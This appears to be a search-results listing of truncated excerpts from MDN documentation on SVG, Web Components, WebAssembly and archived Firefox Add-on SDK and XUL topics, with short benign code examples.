startoffset attribute and text-anchor property implementation status unknown <tref> removed implementation status unknown <altglyph>, <altglyphdef>, <altglyphitem> and <glyphref> removed <altglyph>, <altglyphdef> and <altglyphitem> removed (bug 1260032), <glyphref> never really implemented (bug 1302693) svgtextcontentelement.selectsubstring() deprecated implementa...
...3 (firefox 26.0 / thunderbird 26.0 / seamonkey 2.23)) child keyword for <paint> values and marker properties implementation status unknown vector-effect property only none and non-scaling-stroke values are supported (bug 528332 (firefox 15 / thunderbird 15 / seamonkey 2.12), bug 1318208) arcs value for stroke-linejoin not implemented (bug 1239142) auto-
start-reverse value for <marker>'s orient attribute implemented (bug 879659) svgpaint removed implementation status unknown fill and stroke taking multiple paints implementation status unknown z-index not implemented (bug 360148 child(<integer>) paint value implementation status unknown display of zero-length subpaths depends on stroke-linecap...
Gradients in SVG - SVG: Scalable Vector Graphics
applied to a <rect> element. inside the linear gradient are several <stop> nodes. these nodes tell the gradient what color it should be at certain positions by specifying an offset attribute for the position, and a stop-color attribute. this can be assigned directly or through css. the two methods have been intermixed for the purposes of this example. for instance, this one tells the gradient to
start at the color red, change to transparent-black in the middle, and end at the color blue. you can insert as many stop colors as you like to create a blend that's as beautiful or hideous as you need, but the offsets should always increase from 0% (or 0 if you want to drop the % sign) to 100% (or 1). duplicate values will use the stop that is assigned furthest down the xml tree. also, like with fill ...
...readmethod attribute. this attribute controls what happens when the gradient reaches its end, but the object isn't filled yet. it can take on one of three values, "pad", "reflect", or "repeat". "pad" is what you have seen so far. when the gradient reaches its end, the final offset color is used to fill the rest of the object. "reflect" causes the gradient to continue on, but reflected in reverse,
starting with the color offset at 100% and moving back to the offset at 0%, and then back up again. "repeat" also lets the gradient continue, but instead of going backwards, it just jumps back to the beginning and runs again. spreadmethod <?xml version="1.0" standalone="no"?> <svg width="220" height="220" version="1.1" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradientpa...
Positions - SVG: Scalable Vector Graphics
l possibilities to change this behaviour. much like absolute and relative font sizes in css, svg defines absolute units (ones with a dimensional identifier like "pt" or "cm") and so-called user units, that lack that identifier and are plain numbers. without further specification, one user unit equals one screen unit. to explicitly change this behaviour, there are several possibilities in svg. ...
...this effectively zooms in on the 100x100 unit area and enlarges the image to double size. the current mapping (for a single element or the whole image) of user units to screen units is called user coordinate system. apart from scaling the coordinate system can also be rotated, skewed and flipped. ...
SVG and CSS - SVG: Scalable Vector Graphics
you should use css custom properties. example make a new svg document as a plain text file, doc8.svg. ...
...r pseudo-class and other more complex css selectors on elements referenced via <use> elements, at the moment. there is some discussion about what rules apply to such referenced elements. see below how the structure then looks like. ...
Texts - SVG: Scalable Vector Graphics
of the tutorial, while we will focus completely on the first part: bringing text into an svg image. basics we have seen in the introducing example, that the text element can be used to put arbitrary text in svg documents: <text x="10" y="10">hello world!</text> the x and y attributes determine, where in the viewport the text will appear. the attribute text-anchor, which can have the values "
start", "middle", "end" or "inherit", decides in which direction the text flows from this point. the attribute dominant-baseline decides the vertical alignment. like with the shape elements text can be colorized with the fill attribute and given a stroke with the stroke attribute. both may also refer to gradients or patterns, which makes simple coloring text in svg very powerful compared to css 2.1. ...
...baseline: hanging; font: 28px verdana, helvetica, arial, sans-serif; } ]]></style> </svg> the tspan element has the following custom attributes: x set a new absolute x coordinate for the containing text. this overwrites the default current text position. the attribute may also contain a list of numbers, that are one by one applied to the single characters of the tspan element. dx
start drawing the text with a horizontal offset dx from the default current position. here, too, you may provide a list of values that are applied to consecutive characters, hence piling up the offset over time. likewise, there are y and dy for vertical displacement. rotate rotate all characters by this degree. a list of numbers makes each character rotate to its respective value, with remaining c...
mimeTypes.rdf corruption - SVG: Scalable Vector Graphics
th the wrong media type. if either of these things happen, then mozilla can end up with a media type for files that it doesn't recognize, but which the user knows it should. actions that trigger this bug ... possible solutions how you solve this problem depends on whether it's your operating system or your mozilla profile (mimetypes.rdf) that are corrupt. the latter is more common, so we'll
start with that. however, it seems that the former may also cause the latter. one way to check is to create a new profile and re
start mozilla using that profile. if svg works with the new profile, then simply delete the new profile and go about cleaning your old profile using the steps in the section below. if the new profile doesn't work, clean your os file associations, then your mimetypes.rdf. cre...
...media type with the .svg filename extension if you have installed an old program such as photoshop elements 1.0 and chose to install the *very* old adobe svg viewer that comes bundled with it. this will set up the os to associate the .svg filename extension with the incorrect media type "image/svg-xml" instead of "image/svg+xml". microsoft windows one way to fix this in microsoft windows is to
start regedit (
start > run > regedit) and search for "svg". change every occurance of "image/svg-xml" (or whatever the invalid media type is) to "image/svg+xml". normally, this matters just for the entry "hkey_classes_root\.svg\content type". after correcting the os file associations you will probably need to re-clean your mimetypes.rdf as described in the section above. fixing the bug need to loo...
Using templates and slots - Web Components
using templates with web components templates are useful on their own, but they work even better with web components. let's define a web component that uses our template as the content of its shadow dom. we'll call it <my-paragraph>: customelements.define('my-paragraph', class extends htmlelement { constructor() { super(); let template = docum...
... adding flexibility with slots so far so good, but the element isn't very flexible. we can only display one bit of text inside it, meaning that at the moment it is even less useful than a regular paragraph! we can make it possible to display different text in each element instance in a nice declarative way using the <slot> element. this has more limited support than <templa...
Compiling a New C/C++ Module to WebAssembly - WebAssembly
when you’ve written a new code module in a language like c/c++, you can compile it into webassembly using a tool like emscripten. let’s look at how it works. emscripten environment setup first, let's set up the required development environment. prerequisites get the emscripten sdk, using these instructions: https://emscripten.org/docs/getting_
started/downloads.html compiling an example with the environment set up, let's look at how to use it to compile a c example to emscripten. there are a number of options available when compiling with emscripten, but the main two scenarios we'll cover are: compiling to wasm and creating html to run our code in, plus all the javascript "glue" code needed to run the wasm in the web environment. compiling to wasm and just creating the javascript.
...a function defined in your c code that you want to call as needed from javascript, you can do this using the emscripten ccall() function, and the emscripten_keepalive declaration (which adds your functions to the exported functions list (see why do functions in my c/c++ source code vanish when i compile to javascript, and/or i get no functions to process?)). let's look at how this works. ...
Caching compiled WebAssembly modules - WebAssembly
m having to download them again. note: the entire site's wasm cache (not just the given url) is versioned by the specified dbversion passed into the function. if the wasm module code is updated, or its url changes, you will need to update dbversion. any subsequent call to instantiatecachedurl() will then clear out the entire cache, allowing you to avoid using out-of-date modules. ...
...).objectstore(storename); var request = store.put(module, url); request.onerror = err => { console.log(`failed to store in wasm cache: ${err}`) }; request.onsuccess = err => { console.log(`successfully stored ${url} in wasm cache`) }; } using our helper functions with all the promise-based helper functions defined, we can now express the core logic of an indexeddb cache lookup. ...
Compiling from Rust to WebAssembly - WebAssembly
, it installs the latest stable rust release, which you can use for general rust development. rustup installs rustc, the rust compiler, as well as cargo, rust's package manager, rust-std, rust's standard libraries, and some helpful docs — rust-docs. note: pay attention to the post-install note about needing cargo's bin directory in your system path. this is added automatically, but you must re
start your terminal for it to take effect. wasm-pack to build the package, we need an additional tool, wasm-pack. this helps compile the code to webassembly, as well as produce the right packaging for npm. to download and install it, enter the following command into your terminal: $ cargo install wasm-pack install node.js we are building an npm package in this tutorial, and so you need to have no...
...'t considered a best practice, but this is a demo, so it's ok for now. once it's loaded, it calls the greet function from that module, passing "webassembly" as a string. note how there's nothing special here, yet we're calling into rust code. as far as the javascript code can tell, this is just a normal module. we're done making files. let's give this a shot: $ npm install $ npm run serve this
starts a web server. load http://localhost:8080 and an alert box appears on the screen, with hello, webassembly! in it. we've successfully called from javascript into rust, and from rust into javascript. conclusion this is the end of our tutorial; we hope you've found it useful. there's lots of exciting work going on in this space; if you'd like to help make it even better, check out the rust webass...
Using the WebAssembly JavaScript API - WebAssembly
fer() ).then(bytes => webassembly.instantiate(bytes, importobject) ).then(results => { results.instance.exports.exported_func(); }); viewing wasm in developer tools in firefox 54+, the developer tool debugger panel has functionality to expose the text representation of any wasm code included in a web page. to view it, you can go to the debugger panel and click on the “wasm://” entry.
starting soon in firefox, in addition to viewing webassembly as text, developers will be able to debug (place breakpoints, inspect the callstack, single-step, etc.) webassembly using the text format. see webassembly debugging with firefox devtools for a video preview. memory in the low-level memory model of webassembly, memory is represented as a contiguous range of untyped bytes called linear memory...
......
2015 MDN Fellowship Program - Archive of obsolete content
ess to push notifications and background sync apis. activities and deliverables write a demonstration web application (new or existing) to showcase service worker functionality. provide detailed api descriptions. required skills and experience experienced web developer with expertise in javascript, css, html as well as with efficient network interaction (queuing resource fetching, etc.). self-
starter and autonomous worker mentor information brittany storoz, mozilla apps engineering. github: brittanystoroz twitter: @brittanystoroz webgl brief project description webgl is the latest incarnation of the opengl family of real time rendering immediate mode graphics apis. webgl is getting some cool new features in 2015 with the standardization efforts around the webgl 2.0 spec being publ...
Loading Content Scripts - Archive of obsolete content
nly of a static string, don't use contentscript: if you do, you may have problems getting your add-on approved on amo. instead, keep the script in a separate file and load it using contentscriptfile. this makes your code easier to maintain, secure, debug and review. the contentscriptwhen option specifies when the content script(s) should be loaded. it takes one of three possible values: "
start" loads the scripts immediately after the document element for the page is inserted into the dom. at this point the dom content hasn't been loaded yet, so the script won't be able to interact with it. "ready" loads the scripts after the dom for the page has been loaded: that is, at the point the domcontentloaded event fires. at this point, content scripts are able to interact with the dom co...
self - Archive of obsolete content
r api than the api provided by port, and for most purposes the port api is a better choice. the exception is the context-menu module, which still uses postmessage. postmessage() send a message from a content script to a listener in the main add-on code: self.postmessage(contentscriptmessage); this takes a single parameter, the message payload, which may be any json-serializable value. on()
start listening to messages from the main add-on code: self.on("message", function(addonmessage) { // handle the message }); this takes two parameters: the name of the event, and the handler function. the handler function is passed the message payload. once() exactly like on(), but stop listening after the first message is received. removelistener() remove a listener to an event. this takes two...
Contributor's Guide - Archive of obsolete content
ciated with a single tab. conversely, an add-on process was supposed to run all the code associated with a single add-on. neither content or add-on proceses were ever actually implemented, but by the time they were cancelled, the sdk was already designed with them in mind. to understand this article, it's probably best to read it as if content and add-on processes actually exist. getting
started learn how to contribute to the add-on sdk. modules a module is a self-contained unit of code, which is usually stored in a file, and has a well defined interface. the use of modules greatly improves the maintainability of code, by splitting it up into independent components, and enforcing logical boundaries between them. unfortunately, javascript does not yet have native support for modules:...
Module structure of the SDK - Archive of obsolete content
sdk modules the modules supplied by the sdk are divided into two sorts: high-level modules like panel and page-mod provide relatively simple, stable apis for the most common add-on development tasks. low-level modules like heritage and namespace provide more powerful functionality, and are typically less stable and more complex. to use sdk modules, you can pass require() a complete path,
starting with "sdk", to the module you want to use. for high-level modules this is just sdk/<module_name>, and for low-level modules it is sdk/<path_to_module>/<module_name>: // load the high-level "tabs" module var tabs = require("sdk/tabs"); // load the low-level "uuid" module var uuid = require('sdk/util/uuid'); the path to specify for a low-level module is given along with the module name itsel...
SDK API Lifecycle - Archive of obsolete content
ough the formal deprecation process. stable the module is a fully-supported part of the sdk. we will avoid breaking backwards compatibility unless absolutely necessary. if we do have to make backwards-incompatible changes, we will go through the formal deprecation process. deprecated we plan to change this module, and backwards compatibility should not be expected. don’t
start using it, and plan to migrate away from this module to its replacement. the stability index for each module is written into that module’s metadata structure, and is displayed at the top of each module's documentation page. deprecation process deprecation in the chosen release, the sdk team will communicate the module's deprecation: update the module's stability index to be "depreca...
XUL Migration Guide - Archive of obsolete content
components xul-based add-ons typically implement a user interface using a combination of two techniques: xul overlays and xul windows. xul overlays xul overlays are used to modify existing windows such as the main browser window. in this way an extension can integrate its user interface into the browser: for example, adding menu items, buttons, and toolbars. because sdk-based extensions are re
startless, they can't use xul overlays. to add user interface components to the browser, there are a few different options. in order of complexity, the main options are: the sdk includes modules that implement some basic user interface components including buttons, dialogs, and context menu items. there is a collection of community-developed modules that includes various user interface comp...
Guides - Archive of obsolete content
modules learn about the module system used by the sdk (which is based on the commonjs specification), how sandboxes and compartments can be used to improve security, and about the built-in sdk module loader, known as cuddlefish. classes and inheritance learn how classes and inheritance can be implemented in javascript, using constructors and prototypes, and about the helper functions provided by the sdk to simplify this. ...
notifications - Archive of obsolete content
o you can rewrite the above code like this: var notifications = require("sdk/notifications"); var myiconurl = "./myicon.png"; notifications.notify({ text: "i have an icon!", iconurl: myiconurl }); this module depends on the underlying system's notification service. if the user's system does not support desktop notifications or if its notifications service is not running: if firefox was
started normally, notifications are logged to firefox's error console if the user launched firefox from the command line, notifications are logged to the terminal. globals functions notify(options) displays a transient notification to the user. parameters options : object optional options: name type title string a string to display as the message's tit...
self - Archive of obsolete content
. name this property contains the add-on's short name. it comes from the name property in the main package's package.json file. version this property contains the add-on's version string. it comes from the version property set in the package.json file in the main package. loadreason this property contains of the following strings describing the reason your add-on was loaded: install enable
startup upgrade downgrade isprivatebrowsingsupported this property indicates whether or not the add-on supports private browsing. it comes from the private-browsing key in the add-on's package.json file. data the data object is used to access data that was bundled with the add-on. this data lives in the add-on's data/ directory, immediately below the package.json file. all files in this directory ...
simple-prefs - Archive of obsolete content
you can store booleans, integers, and string values, and users can configure these preferences in the add-ons manager. this gives users a consistent way to access and modify preferences across different add-ons. this api is for your add-on's preferences. if you need to get and set the general browser preferences, use preferences/service. usage defining and initializing preferences to define preferences and give them initial values, add a new json array called preferences to your package.json file, and give it one entry for each preference: { "fullname": "example add-on", ... ...
High-Level APIs - Archive of obsolete content
ng check whether a given object is private, so an add-on can respect private browsing querystring utility functions for working with query strings. request make simple network requests. selection get and set text and html selections in the current web page. self access data that is bundled with the add-on, and add-on metadata. simple-prefs store preferences across application re
starts. simple-storage lets an add-on store data so that it's retained across firefox re
starts. system query the add-on's environment and access arguments passed to it. tabs open, manipulate, and access tabs, and receive tab events. timers set one-off and periodic timers. ui provides access to button, toolbar, and sidebar ui objects. url construct, validate, and parse urls. widget create ...
content/loader - Archive of obsolete content
content scripts to load. content scripts specified by this property are loaded before those specified by the contentscript property. contentscript the texts of content scripts to load. content scripts specified by this property are loaded after those specified by the contentscriptfile property. contentscriptwhen when to load the content scripts. ...
core/promise - Archive of obsolete content
doing things concurrently so far we have being playing with promises that do things sequentially, but there are many cases where one would need to do things concurrently. in the following example we implement functions that take multiple promises and return one that r...
event/core - Archive of obsolete content
the event/core module allows the creation of apis to broadcast and subscribe to events. usage many modules in the sdk can broadcast events. for example, the tabs module emits an open event when a new tab is opened. also see the tutorial on implementing event targets to get
started with this api. an event listener may be registered to any event target using the on function: var { on, once, off, emit } = require('sdk/event/core'); var target = { name: 'target' }; on(target, 'message', function listener(event) { console.log('hello ' + event); }); on(target, 'data', console.log); an event of a specific type may be emitted on any event target object using the emit function. this will call all registered listeners for the given type on the given event target in the same order they were reg...
event/target - Archive of obsolete content
ce emits an show event when the panel is shown. with this module you can create your own objects that emit events. this module provides an exemplar eventtarget object, that implements an interface for adding and removing event listeners of a specific type. eventtarget is the base class for all objects in sdk on which events are emitted. also see the tutorial on implementing event targets to get
started with this api. instantiation it's easy to create event target objects, no special arguments are required. const { eventtarget } = require("sdk/event/target"); let target = eventtarget(); for a convenience though optional options arguments may be used, in which case all the function properties with keys like: onmessage, onmyevent... will be auto registered for associated 'message', 'myevent'...
ui/frame - Archive of obsolete content
e. after calling this function, the frame will no longer appear in the ui, and accessing any of its properties or methods will throw an error. properties url url for the content loaded into the frame. this is read-only. it's only accessible after the attach event has occurred for this frame. events attach this event is emitted whenever a new frame instance is constructed and the browser has
started to load its document: for example, when the user opens a new browser window, if that window has a toolbar containing this frame. since the event is dispatched asynchronously, the document may already be loaded by the time the event is received. at this point, you should not try to send messages to scripts hosted in the frame, because the frame scripts may not have been loaded. arguments even...
util/match-pattern - Archive of obsolete content
test strings containing urls against simple patterns. usage specifying patterns there are three ways you can specify patterns: as an exact match string using a wildcard in a string using a regular expression exact matches a url matches only that url. the url must
start with a scheme, end with a slash, and contain no wildcards. example pattern example matching urls example non-matching urls "http://example.com/" http://example.com/ http://example.com http://example.com/foo https://example.com/ http://foo.example.com/ wildcards a single asterisk matches any url with an http, https, or ftp scheme. for other schemes like file, resource, or data, use a scheme followed by an asterisk, as below. example pattern example match...
cfx to jpm - Archive of obsolete content
you need to do all this means that: if your package.json contains an id field, and its value does not contain "@", then you must append "@jetpack" to it when switching to jpm. if you do this, the add-on's id will be the same as it was when you were using cfx. entry point the add-on's entry point is the file that's executed when the add-on needs to initialize itself: for example, when firefox
starts, or when the add-on's installed, enabled, or upgraded. with cfx, this defaults to "lib/main.js", although it can be set to a different file using the main field in package.json. in jpm, the entry point defaults to "index.js". so when switching over to jpm: either rename your "main.js" to "index.js" and move it from "lib" to the top level or add a main field to package.json with the value "l...
jpm-mobile - Archive of obsolete content
tton. after that you can install jpm just as you would any other npm package: npm install jpm-mobile -g depending on your setup, you might need to run this as an administrator: sudo npm install jpm-mobile -g at the command prompt, type: jpm-mobile you should see a screen summarizing the available jpm-mobile commands. note that unlike cfx, jpm-mobile is available in every command prompt you
start, as long as you installed it with the -g flag. problems? if you don't see this, ask for help. sdk users and project team members discuss problems and proposals on the project mailing list. someone else may have had the same problem you do, so try searching the list. you're welcome to post a question, too. you can also chat with other sdk users in #jetpack on mozilla's irc network. command refe...
jpmignore - Archive of obsolete content
using .jpmignore is similar to using .gitignore with git, .hgignore with mercurial, or .npmignore with npm. by using this file you can let jpm know which files and directories you would like it to ignore when building a .xpi file with jpm xpi. here is an example: # ignore .ds_store files created by mac .ds_store # ignore any zip or xpi files *.zip *.xpi # ignore specific directory # you can
start patterns with a forward slash (/) to avoid recursivity. # you can end patterns with a forward slash (/) to specify a directory. /sample/ a .jpmignore file with the above contents would ignore all zip files and .ds_store files and sample directory from the xpi generated by jpm xpi. using .jpmignore to allow files everything in your add-on directory will be included in the xpi file you make wit...
Overview - Archive of obsolete content
re annotations. because we are recording potentially sensitive information, we want to prevent the user creating annotations when in private browsing mode. the simplest way to do this is to omit the "private-browsing" key from the add-on's "package.json" file. if we do this, then the add-on won't see any private windows, and the annotator's widget will not appear in any private windows. getting
started let's get
started by creating a directory called "annotator". navigate to it and type cfx init. next, we will implement the widget. ...
Storing annotations - Archive of obsolete content
a.url('widget/pencil-on.png') : data.url('widget/pencil-off.png'); }); widget.port.on('right-click', function() { console.log('show annotation list'); annotationlist.show(); }); this time execute cfx xpi to build the xpi for the add-on, and install it in firefox. activate the add-on, add an annotation, and then right-click the widget. you should see something like this: re
start firefox, right-click the widget again, and check that the annotation is still there. until now we've always run cfx run rather than building an xpi and installing the add-on in firefox. if the annotation does not reappear when you re
start firefox, double check you installed the add-on and didn't just use cfx run again. responding to overquota events add-ons have a limited quota of storage spac...
Creating Event Targets - Archive of obsolete content
(type, listener) { off(exports, type, listener); }; this code implements a module which can emit added and visited events. it duplicates the previous code, but with a few changes: import emit(), on(), once(), and off() from event/core replace listener functions with calls to emit(), passing the appropriate event type export its own event api. this consists of three functions: on():
start listening for events or a given type once(): listen for the next occurrence of a given event, and then stop removelistener(): stop listening for events of a given type the on() and once() exports delegate to the corresponding function from event/core, and use bind() to pass the exports object itself as the target argument to the underlying function. the removelistener() function is i...
Display a Popup - Archive of obsolete content
unction onkeyup(event) { if (event.keycode == 13) { // remove the newline. text = textarea.value.replace(/(\r\n|\n|\r)/gm,""); self.port.emit("text-entered", text); textarea.value = ''; } }, false); // listen for the "show" event being sent from the // main add-on code. it means that the panel's about // to be shown. // // set the focus to the text area so the user can // just
start typing. self.port.on("show", function onshow() { textarea.focus(); }); finally, the "text-entry.html" file defines the <textarea> element: <html> <head> <style type="text/css" media="all"> textarea { margin: 10px; } body { background-color: gray; } </style> </head> <body> <textarea rows="13" cols="33" id="edit-box"></textarea> </...
Logging - Archive of obsolete content
informational messages. you don't have to require() anything to get access to the console. it is automatically made available to you. the console.log() method prints an informational message: console.log("hello world"); try it out: create a new directory, and navigate to it execute jpm init, accepting all the defaults open "index.js" and add the line above execute jpm run firefox will
start, and the following line will appear in the command window you used to execute jpm run: info: hello world! console in content scripts you can use the console in content scripts as well as in your main add-on code. the following add-on logs the html content of every tab the user loads, by calling console.log() inside a content script: require("sdk/tabs").on("ready", function(tab) { tab.attac...
Troubleshooting - Archive of obsolete content
check your firefox jpm searches well known locations on your system for firefox. jpm may not have found an installation, or if you have multiple installations, jpm may have found the wrong one. in those cases you need to use jpm's --binary option. see the jpm guide for more information. when you run jpm to test your add-on or run unit tests, it prints out the location of the firefox or xulrunner binary that it found, so you can check its output to be sure. ...
Unit Testing - Archive of obsolete content
works console.info: jpm-utest: executing './test/test-base64.test btoa' console.info: jpm-utest: pass: btoa works console.info: jpm-utest: executing './test/test-base64.test empty string' console.info: jpm-utest: pass: empty string check works 3 of 3 tests passed. all tests passed! what happens here is that jpm test: looks in the test directory of your package loads any modules whose names
start with the word test- (note the hyphen after "test" in the module name. jpm test will include a module called "test-mycode.js", but will exclude modules called "test_mycode.js" or "testmycode.js".) calls each exported function whose name
starts with "test", passing it an assert object as its only argument. obviously, you don't have to pass the --verbose option to jpm if you don't want to; doing ...
Using third-party modules (jpm) - Archive of obsolete content
we'll use the menuitem package to add a new menu item to firefox. summary first, while in the root of your add-on, install the package that contains the modules you want to use: npm install menuitem --save now you'll see a new directory in your add-on root called "node_modules" that contains a directory "menuitem". ...
Localization - Archive of obsolete content
r your main add-on directory, one file for each locale. the files: use the .properties format are named "xx-yy.properties", where "xx-yy" is the name of the locale in question contain one entry for each string you want to localize, consisting of an identifier for the string and its translation in that locale, in the format identifier=translation need to use utf-8 without bom encoding lines
starting with "#" (after optional whitespace) are comments suppose your add-on contains a single localizable string, represented in english as "hello!", and you want to supply us english and french french localizations. you'd add two files to the "locale" directory: my-addon/ data lib locale/ en-us.properties fr.properties "en-us.properties" contains this: hello_id= h...
Boxes - Archive of obsolete content
mmm"/> <label value="nnn"/> <label value="ooo"/> <label value="ppp"/> <label value="qqq"/> <label value="rrr"/> <label value="sss"/> <label value="ttt"/> <label value="uuu"/> <label value="vvv"/> <label value="www"/> <label value="xxx"/> <label value="yyy"/> <label value="zzz"/> </hbox> </window> images if you put image in the contents, you should probably add align="
start" attribute to the box. this keeps the image from stretching inside the box: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <box align="
start" style="display:block"> <image src="chrome://global/skin/icons/error.png" style="padding:5px"/> <textbox /> <image src="chrome://glo...
File I/O - Archive of obsolete content
. profdef d the profile defaults of the "current" locale. should be the first choice. profdefnoloc d %installation%/defaults/profile - the profile defaults of the "default" installed locale. second choice when profdef is not available. profld f local settings on windows; where the network cache and fastload files are stored. progs d user
start menu programs directory (for example, c:\documents and settings\username\
start menu\programs). this is a windows-specific value. tmpd d the operating system's temporary files directory (for example, /tmp on mac os x and linux). uchrm f the user chrome directory in their profile: %profile%/chrome. resource:app d the application directory in an xulrunner...
HTML to DOM - Archive of obsolete content
using a hidden xul iframe (alternate example) sometimes, a browser element is overkill, or does not meet your needs, or you can't fulfill its requirements. while working on donkeyfire, i discovered the iframe xul element, and it is very easy to implement it. as an example, i will show a browse...
JavaScript Debugger Service - Archive of obsolete content
the first filter to match determines whether or not the hook is called. we create a generic createfilter function that acts as a jsdifilter factory. function createfilter(pattern, pass) { var jsdifilter = components.interfaces.jsdifilter; var filter = { globalobject: null, flags: pass ? (jsdifilter.flag_enabled | jsdifilter.flag_pass) : jsdifilter.flag_enabled, urlpattern: pattern,
startline: 0, endline: 0 }; return filter; }, we then add the filters we want. jsd.clearfilters(); // clear the list of filters // we exclude the scripts with the following filenames from being tracked jsd.appendfilter(createfilter("*/firefox/components/*")); jsd.appendfilter(createfilter("*/firefox/modules/*")); jsd.appendfilter(createfilter("xstringbundle")); jsd.appendfilter(createfilter("ch...
Post data to window - Archive of obsolete content
kground tabs, and a link to using xmlhttprequest for post requests. preprocessing post data the apostdata argument of the (global) loaduri(), opendialog(), and (tab)browser.loaduriwithflags() methods expects the post data in the form of an nsiinputstream (because they eventually call nsiwebnavigation.loaduri()) while post data can be created using nsimimeinputstream. most of the time, post data
starts as a data string in the form of "name1=data1&name2=data2&...", so you must convert it before passing the data to one of the methods. here is an example: var datastring = "name1=data1&name2=data2"; // post method requests must wrap the encoded text in a mime // stream const cc = components.classes; const ci = components.interfaces; var stringstream = cc["@mozilla.org/io/string-input-stream;1"].
Rosetta - Archive of obsolete content
h the introduction of typed arrays in ecmascript allow us, in theory, to build full virtual machines in pure ecmascript. therefore, it is also possible, in theory, to use ecmascript for a smaller task: parsing exotic programming languages (i.e., creating compilers). beyond ecmascript this is not the place for showing a full compiler written in ecmascript. we can show, however, a possible way to
start from. the following code is nothing but the base for an extensible collection of compilers. but by default, no compilers are loaded. it relies on the fact that unrecognized mime types will be simply ignored: this allows us to manually parse them. for a fast overview on the code proposed here you can git clone https://github.com/madmurphy/rosetta.js, or, at your choice, directly download this .zi...
SVG General - Archive of obsolete content
on this page you will find some simple, general information on svg markup. hopefully, enough to get you creating some svg images. you will also find some general purpose scripting helpers, that should make scripting svg a little easier. svg template here is a basic markup template to
start building an svg document: <svg xmlns="http://www.w3.org/2000/svg"> <!-- svg elements go here --> </svg> note: it is recommended that you do not use dtd's with svg documents. the tutorial and authoring guidelines have more information. dynamic scripting helper this little helper script can be used to simplify creation of svg elements in script. svg requires you to use setattributens to add attributes to a newly created svg dom element. no properties like html. svg image also requires the use o...
Sidebar - Archive of obsolete content
ws. you can use this function to show, hide, or toggle sidebars. // toggle the bookmarks sidebar (close it if it's open or // open it if it's currently closed) sidebarui.toggle("viewbookmarkssidebar"); // show the history sidebar, whether it's hidden or already showing sidebarui.show("viewhistorysidebar"); // hide the sidebar, if one is showing sidebarui.hide(); avoid opening the sidebar on
startup. users have been known to complain about this "feature", and if two or more extensions try to open their sidebars on
startup, the user will see a flurry of sidebars opening and closing with which ever extension going last "winning". web panels sidebar content such as web pages can be safely loaded as sidebar in the "viewwebpanelssidebar". bookmarks with "load this bookmark in sidebar" checke...
JavaScript timers - Archive of obsolete content
to perform an animation and requests that the browser schedule a repaint of the window for the next animation frame. the method takes as an argument a callback to be invoked before the repaint. performance.now() performance.now() returns a timestamp, measured in milliseconds, accurate to one thousandth of a millisecond. this timestamp is equal to the number of milliseconds since the navigation
start attribute of the performance.timing interface. date.now() date.now() returns the number of milliseconds elapsed since 1 january 1970 00:00:00 utc. using javascript timers within workers workers can use timeouts and intervals just like the main thread can. this can be useful, for example, if you want to have your worker thread run code periodically instead of nonstop. functions available to...
Toolbar - Archive of obsolete content
xtension and include a toolbar button for it by overlaying the customize toolbarpalette, it is not available by default. the user has to drag it onto the toolbar. the following code will place your button on the toolbar by default. this should only be done on the first run of your add-on after installation so that if the user decides to remove your button, it doesn't show up again every time they
start the application. notes insert your button by default only once, at first run, or when an extension update adds a new button. please only add your button by default if it adds real value to the user and will be a frequent entry point to your extension. you must not insert your toolbar button between any of the following elements: the combined back/forward button, the location bar, the stop b...
Tree - Archive of obsolete content
clicked(event){ var tree = document.getelementbyid("my-tree"); var tbo = tree.treeboxobject; // get the row, col and child element at the point var row = { }, col = { }, child = { }; tbo.getcellat(event.clientx, event.clienty, row, col, child); var celltext = tree.view.getcelltext(row.value, col.value); alert(celltext); } getting the selected indices of a multiselect tree var
start = {}, end = {}, numranges = tree.view.selection.getrangecount(), selectedindices = []; for (var t = 0; t < numranges; t++){ tree.view.selection.getrangeat(t,
start, end); for (var v =
start.value; v <= end.value; v++) selectedindices.push(v); } other resources xul: tree documentation xul tutorial: tree selection ...
Code snippets - Archive of obsolete content
recognize it. nevertheless, the increasing computational power of modern browsers together with the introduction of typed arrays in ecmascript allow us, in theory, to build full virtual machines in pure ecmascript. therefore, it is also possible, in theory, to use ecmascript for a smaller task: parsing exotic programming languages (i.e., creating compilers). this snippets shows a possible way to
start from. browser-oriented code tabbed browser code (firefox/seamonkey) basic operations, such as page loading, with the tabbed browser, which is the heart of mozilla's browser applications cookies reading, writing, modifying, and removing cookies page loading code used to load pages, reload pages, and listen for page loads interaction between privileged and non-privileged code how to com...
Common Pitfalls - Archive of obsolete content
the first couple of items deal with loading content from a uri. it's important to create the uri correctly, and then check that it's secure to load. this will shield you from loading <tt>javascript:</tt> or <tt>chrome:</tt> uris when you shouldn't. ...
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
we have to adjust the depth variable since the makefiles are deeper in the directory structure. and we should change the library_name to indicate that we're generating a static library for each submodule. by convention the "_s" suffix is used for this purpose. so let's call them "myintricate_s" and "mymultifarious_s". finally, we define the variable force_static_lib, resulting in a makefile that
starts something like this: depth = ../../../../.. topsrcdir = @top_srcdir@ srcdir = @srcdir@ vpath = @srcdir@ include $(depth)/config/autoconf.mk module = myextension library_name = myintricate_s force_static_lib = 1 use_static_libs = 1 xpi_name = myextension # ...more stuff here... the build makefile pulls together the static libraries generated by the subm...
Deploying a Plugin as an Extension - Archive of obsolete content
tapplication section specifies that platform we want to work on (that id is for firefox). it also specifies what versions of firefox we want to work with. now that we have an install.rdf file, we can actually package the xpi. simply use the zip utility to create the xpi file. make sure you keep the directory structure! now we can open the xpi in firefox and it will get installed. you'll have to re
start firefox so the plugin will be available. after re
starting firefox, the extension manager will include an entry for the rhapsody player engine. because it is an extension, we can disable/enable it, as well as uninstall it. you'll notice that one thing we did not do is provide a mechanism for updating the plugin, as discussed at the beginning of this article. let's cover that now. one of the additi...
Extension Packaging - Archive of obsolete content
unique id, version, author, and compatibility information. after the extension files and install.rdf have been prepared, there are several ways to prepare an extension for installation: zip the extension directory into a user-installable xpi (xpinstall) file, unpack the extension directly into the user's application or profile directory, or register the extension in the windows registry. note:
starting in gecko 2.0, xpi files are no longer unpacked when extensions are installed. instead, the xpi itself is placed in the extensions directory, and files are loaded directly out of the package. making an extension xpi an xpi (xpinstall) file is simply a zip file, containing the extension files, with the install.rdf file at the root of the zip. users can download xpi files from a website, or fr...
Inline options - Archive of obsolete content
